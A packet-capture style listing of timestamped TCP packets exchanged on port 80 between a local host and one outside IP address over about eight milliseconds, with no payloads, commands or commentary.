Nov 11, 2024 14:32:04.187829018 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.187839985 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.187849998 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.187865019 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.187897921 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.188112974 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.188117981 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.188127995 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.188133955 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.188147068 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.188153982 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.188158035 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.188170910 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.188173056 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.188177109 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.188182116 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.188188076 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.188190937 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.188195944 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.188219070 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.188249111 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.188460112 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.188466072 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.188486099 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.188491106 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.188500881 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.188507080 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.188512087 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.188518047 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.188523054 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.188560963 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.188752890 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.188757896 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.188767910 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.188771963 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.188787937 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.188793898 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.188803911 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.188810110 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.188815117 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.188817978 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.188821077 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.188828945 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.188834906 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.188839912 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.188880920 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.188880920 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.189049006 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.189055920 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.189105034 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.189210892 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.189218044 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.189227104 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.189232111 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.189240932 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.189246893 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.189256907 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.189261913 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.189277887 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.189280987 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.189284086 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.189295053 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.189301968 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.189301968 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.189307928 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.189351082 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.189615011 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.189620972 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.189625978 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.189631939 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.189642906 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.189671993 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.189691067 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.189707041 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.189718962 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.189730883 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.189783096 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.189812899 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.189819098 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.189829111 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.189835072 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.189842939 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.189882040 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.189905882 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.189948082 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.189953089 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.189963102 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.189969063 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.189974070 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.190006018 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.190082073 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.190087080 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.190099001 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.190103054 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.190155983 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.190155983 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.190185070 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.190191031 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.190201998 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.190207958 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.190212965 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.190243006 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.190278053 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.190354109 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.190360069 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.190370083 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.190376043 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.190381050 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.190419912 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.190496922 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.190507889 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.190529108 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.190546036 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.190551043 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.190562010 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.190570116 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.190591097 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.190664053 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.190670013 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.190675020 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.190680027 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.190690994 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.190723896 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.190735102 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.190840960 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.190845966 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.190856934 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.190861940 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.190871000 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.190877914 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.190912008 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.190948963 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.190979958 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.190985918 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.190995932 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.191000938 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.191005945 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.191009998 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.191030979 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.191051960 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.191059113 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.191066980 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.191071987 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.191073895 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.191082954 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.191112041 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.191143036 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.191328049 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.191334009 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.191339016 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.191348076 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.191354036 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.191359043 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.191365004 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.191370010 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.191375017 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.191376925 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.191380978 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.191420078 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.191431999 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.191612005 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.191617966 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.191628933 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.191633940 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.191638947 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.191643953 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.191654921 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.191660881 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.191668034 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.191703081 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.191858053 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.191864014 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.191878080 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.191884041 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.191894054 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.191899061 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.191905022 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.191910028 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.191915035 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.191953897 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.191971064 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.192114115 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.192117929 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.192127943 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.192133904 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.192142010 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.192147017 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.192162037 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.192167997 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.192183971 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.192183971 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.192214012 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.192229033 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.192234039 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.192256927 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.192286968 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.192305088 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.192451954 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.192456961 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.192462921 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.192467928 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.192475080 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.192481041 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.192487955 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.192492962 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.192504883 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.192511082 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.192537069 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.192552090 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.192615986 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.192621946 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.192636967 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.192642927 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.192650080 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.192671061 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.192694902 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.192713022 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.192764044 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.192770958 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.192780018 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.192785025 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.192790985 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.192831993 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.192874908 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.193015099 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.193021059 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.193031073 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.193034887 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.193043947 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.193049908 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.193059921 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.193065882 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.193070889 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.193077087 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.193077087 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.193084955 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.193090916 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.193104029 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.193150043 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.193339109 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.193345070 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.193350077 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.193355083 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.193361044 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.193366051 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.193372011 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.193387032 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.193399906 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.193416119 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.193453074 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.193470001 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.193522930 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.193634987 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.193640947 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.193650961 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.193664074 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.193670034 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.193675995 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.193681002 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.193684101 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.193686008 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.193691015 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.193696976 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.193701982 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.193717957 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.193722963 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.193725109 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.193730116 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.193737984 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.193744898 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.193768024 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.193785906 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.194166899 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.194175005 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.194186926 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.194191933 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.194196939 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.194207907 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.194212914 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.194217920 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.194221973 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.194224119 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.194230080 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.194242954 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.194263935 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.194461107 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.194467068 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.194477081 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.194482088 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.194492102 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.194498062 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.194503069 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.194513083 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.194518089 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.194524050 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.194525957 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.194533110 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.194554090 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.194613934 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.194623947 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.194629908 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.194639921 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.194645882 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.194660902 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.194667101 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.194678068 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.194678068 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.194683075 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.194689035 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.194694042 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.194703102 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.194709063 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.194714069 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.194715023 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.194719076 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.194722891 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.194725037 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.194730997 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.194735050 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.194737911 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.194740057 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.194756985 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.194780111 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.195398092 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.195405006 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.195409060 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.195415020 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.195420027 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.195425034 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.195436001 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.195441961 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.195450068 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.195481062 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.195528030 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.195590019 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.195595980 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.195601940 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.195607901 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.195614100 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.195626020 CET	80	49730	185.215.113.206	192.168.2.4
